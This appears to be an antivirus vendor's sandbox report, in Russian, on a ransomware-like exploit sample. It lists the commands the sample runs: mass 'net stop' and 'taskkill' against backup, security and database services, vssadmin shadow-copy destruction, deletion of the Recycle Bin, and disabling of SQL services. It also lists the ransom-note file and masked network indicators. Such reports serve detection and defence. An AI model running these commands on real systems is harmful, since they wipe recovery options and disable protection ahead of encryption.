Exploit.Siggen2.31243

Техническая информация

Вредоносные функции

Для затруднения выявления своего присутствия в системе

удаляет теневые копии разделов.

Создает и запускает на исполнение

'' (загружен из сети Интернет)

Создает и запускает на исполнение (эксплоит)

'C:\users\public\908.exe'

Запускает на исполнение

'%WINDIR%\syswow64\net.exe' stop avpsus /y
'%WINDIR%\syswow64\net.exe' stop PDVFSService /y
'%WINDIR%\syswow64\net.exe' stop BackupExecVSSProvider /y
'%WINDIR%\syswow64\net.exe' stop BackupExecAgentAccelerator /y
'%WINDIR%\syswow64\net.exe' stop BackupExecAgentBrowser /y
'%WINDIR%\syswow64\net.exe' stop BackupExecDiveciMediaService /y
'%WINDIR%\syswow64\net.exe' stop BackupExecJobEngine /y
'%WINDIR%\syswow64\net.exe' stop VeeamNFSSvc /y
'%WINDIR%\syswow64\net.exe' stop veeam /y
'%WINDIR%\syswow64\net.exe' stop BackupExecManagementService /y
'%WINDIR%\syswow64\net.exe' stop AcronisAgent /y
'%WINDIR%\syswow64\net.exe' stop CASAD2DWebSvc /y
'%WINDIR%\syswow64\net.exe' stop CAARCUpdateSvc /y
'%WINDIR%\syswow64\net.exe' stop sophos /y
'%WINDIR%\syswow64\taskkill.exe' /IM mspub.exe /F
'%WINDIR%\syswow64\taskkill.exe' /IM mydesktopqos.exe /F
'%WINDIR%\syswow64\net.exe' stop BackupExecRPCService /y
'%WINDIR%\syswow64\net.exe' stop AcrSch2Svc /y
'%WINDIR%\syswow64\net.exe' stop VeeamDeploymentService /y
'%WINDIR%\syswow64\net.exe' stop VeeamTransportSvc /y
'%WINDIR%\syswow64\net.exe' stop VSNAPVSS /y
'%WINDIR%\syswow64\net.exe' stop mfewc /y
'%WINDIR%\syswow64\net.exe' stop BMR Boot Service /y
'%WINDIR%\syswow64\net.exe' stop NetBackup BMR MTFTP Service /y
'%WINDIR%\syswow64\net.exe' stop DefWatch /y
'%WINDIR%\syswow64\net.exe' stop ccEvtMgr /y
'%WINDIR%\syswow64\net.exe' stop ccSetMgr /y
'%WINDIR%\syswow64\net.exe' stop SavRoam /y
'%WINDIR%\syswow64\net.exe' stop McAfeeDLPAgentService /y
'%WINDIR%\syswow64\net.exe' stop RTVscan /y
'%WINDIR%\syswow64\net.exe' stop QBIDPService /y
'%WINDIR%\syswow64\net.exe' stop Intuit.QuickBooks.FCS /y
'%WINDIR%\syswow64\net.exe' stop QBCFMonitorService /y
'%WINDIR%\syswow64\net.exe' stop YooBackup /y
'%WINDIR%\syswow64\net.exe' stop YooIT /y
'%WINDIR%\syswow64\net.exe' stop zhudongfangyu /y
'%WINDIR%\syswow64\net.exe' stop stc_raw_agent /y
'%WINDIR%\syswow64\net.exe' stop QBFCService /y
'%WINDIR%\syswow64\taskkill.exe' /IM mydesktopservice.exe /F
'%WINDIR%\syswow64\taskkill.exe' /IM mysqld.exe /F

Внедряет код в

следующие пользовательские процессы:

908.exe

Изменения в файловой системе

Создает следующие файлы

%WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
%WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
C:\users\public\908.exe
%TEMP%\how_to_decypher_files.txt

Сетевая активность

TCP

Запросы HTTP GET

http://bi#.ly/304pQcA
http://oc##.#tartssl.com/sub/class2/code/ca/MEMwQTA%2FMD0wOzAJBgUrDgMCGgUABBQSOgrhRCSnWfKxoWTjWxhk8hga9AQU0E4PQJlsuEsZbzsouODjiAc0qrcCAhAV

'tk#k.io':443

UDP

DNS ASK bi#.ly
DNS ASK tk#k.io
DNS ASK u.##knik.io
DNS ASK oc##.#tartssl.com

Другое

Запускает на исполнение

'%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
'%WINDIR%\syswow64\net1.exe' stop DefWatch /y
'%WINDIR%\syswow64\net1.exe' stop ccEvtMgr /y
'%WINDIR%\syswow64\net1.exe' stop SavRoam /y
'%WINDIR%\syswow64\net1.exe' stop mfewc /y
'%WINDIR%\syswow64\net1.exe' stop QBCFMonitorService /y
'%WINDIR%\syswow64\net1.exe' stop VeeamNFSSvc /y
'%WINDIR%\syswow64\net1.exe' stop AcronisAgent /y
'%WINDIR%\syswow64\net1.exe' stop CASAD2DWebSvc /y
'%WINDIR%\syswow64\net1.exe' stop YooIT /y
'%WINDIR%\syswow64\net1.exe' stop AcrSch2Svc /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=401MB
'%WINDIR%\syswow64\net1.exe' stop veeam /y
'%WINDIR%\syswow64\net1.exe' stop CAARCUpdateSvc /y
'%WINDIR%\syswow64\net1.exe' stop NetBackup BMR MTFTP Service /y
'%WINDIR%\syswow64\net1.exe' stop VeeamDeploymentService /y
'%WINDIR%\syswow64\net1.exe' stop QBFCService /y
'%WINDIR%\syswow64\net1.exe' stop QBIDPService /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecJobEngine /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecAgentBrowser /y
'%WINDIR%\syswow64\net1.exe' stop Intuit.QuickBooks.FCS /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecVSSProvider /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecRPCService /y
'%WINDIR%\syswow64\net1.exe' stop ccSetMgr /y
'%WINDIR%\syswow64\net1.exe' stop sophos /y
'%WINDIR%\syswow64\net1.exe' stop avpsus /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecDiveciMediaService /y
'%WINDIR%\syswow64\net1.exe' stop BMR Boot Service /y
'%WINDIR%\syswow64\sc.exe' config SQLTELEMETRY$ECWDB2 start= disabled
'%WINDIR%\syswow64\sc.exe' config SQLWriter start= disabled
'%WINDIR%\syswow64\sc.exe' config SstpSvc start= disabled
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=401MB
'%WINDIR%\syswow64\net1.exe' stop McAfeeDLPAgentService /y
'%WINDIR%\syswow64\net1.exe' stop PDVFSService /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
'%WINDIR%\syswow64\net1.exe' stop BackupExecAgentAccelerator /y
'%WINDIR%\syswow64\net1.exe' stop zhudongfangyu /y
'%WINDIR%\syswow64\net1.exe' stop VSNAPVSS /y
'%WINDIR%\syswow64\net1.exe' stop RTVscan /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecManagementService /y
'%WINDIR%\syswow64\net1.exe' stop stc_raw_agent /y
'%WINDIR%\syswow64\net1.exe' stop VeeamTransportSvc /y
'%WINDIR%\syswow64\sc.exe' config SQLTELEMETRY start= disabled
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=unbounded
'%WINDIR%\syswow64\net1.exe' stop YooBackup /y